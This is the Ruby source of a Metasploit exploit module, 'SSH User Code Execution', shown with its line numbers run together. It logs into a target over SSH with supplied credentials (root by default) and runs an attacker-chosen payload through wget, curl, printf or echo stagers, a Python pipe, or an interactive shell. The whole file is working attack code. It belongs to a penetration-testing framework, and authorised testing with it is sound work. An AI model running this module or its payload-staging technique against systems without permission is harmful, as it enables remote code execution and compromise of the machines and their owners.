Path: blob/master/modules/exploits/multi/ssh/sshexec.rb
28472 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::CmdStager9include Msf::Exploit::Remote::SSH1011attr_accessor :ssh_socket1213def initialize14super(15'Name' => 'SSH User Code Execution',16'Description' => %q(17This module connects to the target system and executes the necessary18commands to run the specified payload via SSH. If a native payload is19specified, an appropriate stager will be used.20),21'Author' => ['Spencer McIntyre', 'Brandon Knight'],22'References' => [23[ 'CVE', '1999-0502'], # Weak password24[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]25],26'License' => MSF_LICENSE,27'Privileged' => true,28'DefaultOptions' => {29'PrependFork' => 'true',30'EXITFUNC' => 'process'31},32'Payload' => {33'Space' => 800000,34'BadChars' => "",35'DisableNops' => true36},37'Platform' => %w[linux osx unix python bsd],38'CmdStagerFlavor' => %w[bourne echo printf wget],39'Targets' => [40[41'Linux Command',42{43'Arch' => ARCH_CMD,44'Platform' => 'linux'45}46],47[48'Linux x86',49{50'Arch' => ARCH_X86,51'Platform' => 'linux'52}53],54[55'Linux x64',56{57'Arch' => ARCH_X64,58'Platform' => 'linux'59}60],61[62'Linux armle',63{64'Arch' => ARCH_ARMLE,65'Platform' => 'linux'66}67],68[69'Linux mipsle',70{71'Arch' => ARCH_MIPSLE,72'Platform' => 'linux',73'CmdStagerFlavor' => %w[curl wget]74}75],76[77'Linux mipsbe',78{79'Arch' => ARCH_MIPSBE,80'Platform' => 'linux',81'CmdStagerFlavor' => %w[wget]82}83],84[85'Linux aarch64',86{87'Arch' => ARCH_AARCH64,88'Platform' => 'linux'89}90],91[92'OSX x86',93{94'Arch' => ARCH_X86,95'Platform' => 'osx',96'CmdStagerFlavor' => %w[curl wget]97}98],99[100'OSX x64',101{102'Arch' => ARCH_X64,103'Platform' => 'osx',104'CmdStagerFlavor' => %w[curl wget]105}106],107[108'BSD x86',109{110'Arch' => ARCH_X86,111'Platform' => 'bsd',112'CmdStagerFlavor' => %w[printf curl wget]113}114],115[116'BSD x64',117{118'Arch' => ARCH_X64,119'Platform' => 'bsd',120'CmdStagerFlavor' => %w[printf curl wget]121}122],123[124'Python',125{126'Arch' => ARCH_PYTHON,127'Platform' => 'python'128}129],130[131'Unix Cmd',132{133'Arch' => ARCH_CMD,134'Platform' => 'unix'135}136],137[138'Interactive SSH',139{140'DefaultOptions' => {141'PAYLOAD' => 'generic/ssh/interact',142'WfsDelay' => 5143},144'Payload' => {145'Compat' => {146'PayloadType' => 'ssh_interact',147}148}149}150]151],152'DefaultTarget' => 0,153# For the CVE154'DisclosureDate' => 'Jan 01 1999',155'Notes' => {156'Stability' => [ CRASH_SAFE, ],157'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],158'Reliability' => [ REPEATABLE_SESSION, ],159},160)161162register_options(163[164OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),165OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),166Opt::RHOST(),167Opt::RPORT(22)168]169)170171register_advanced_options(172[173OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])174]175)176end177178def execute_command(cmd, opts = {})179vprint_status("Executing #{cmd}")180begin181Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }182rescue Timeout::Error183print_warning('Timed out while waiting for command to return')184@timeout = true185end186end187188def do_login(ip, user, pass, port)189opt_hash = ssh_client_defaults.merge({190auth_methods: ['password', 'keyboard-interactive'],191port: port,192password: pass193})194195opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']196197begin198self.ssh_socket = Net::SSH.start(ip, user, opt_hash)199rescue Rex::ConnectionError200fail_with(Failure::Unreachable, 'Disconnected during negotiation')201rescue Net::SSH::Disconnect, ::EOFError202fail_with(Failure::Disconnected, 'Timed out during negotiation')203rescue Net::SSH::AuthenticationFailed204fail_with(Failure::NoAccess, 'Failed authentication')205rescue Net::SSH::Exception => e206fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")207end208209fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket210end211212def binary_exists(binary, platform: nil)213Msf::Sessions::CommandShell.binary_exists(binary, platform: platform, &method(:execute_command))214end215216def execute_python217python_binary = binary_exists('python', platform: 'unix')218python_binary ||= binary_exists('python3', platform: 'unix')219python_binary ||= binary_exists('python2', platform: 'unix')220fail_with(Failure::NoTarget, 'Python was not found on the target system') if python_binary.nil?221222execute_command("echo \"#{payload.encoded}\" | #{python_binary}")223end224225def exploit226do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])227228if target.name == 'Interactive SSH'229handler(ssh_socket)230return231end232233print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")234235case target['Platform']236when 'python'237execute_python238when 'unix'239execute_command(payload.encoded)240else241if target['Arch'] == ARCH_CMD242execute_command(payload.encoded)243else244execute_cmdstager(linemax: 500)245end246end247248@timeout ? ssh_socket.shutdown! : ssh_socket.close249end250end251252253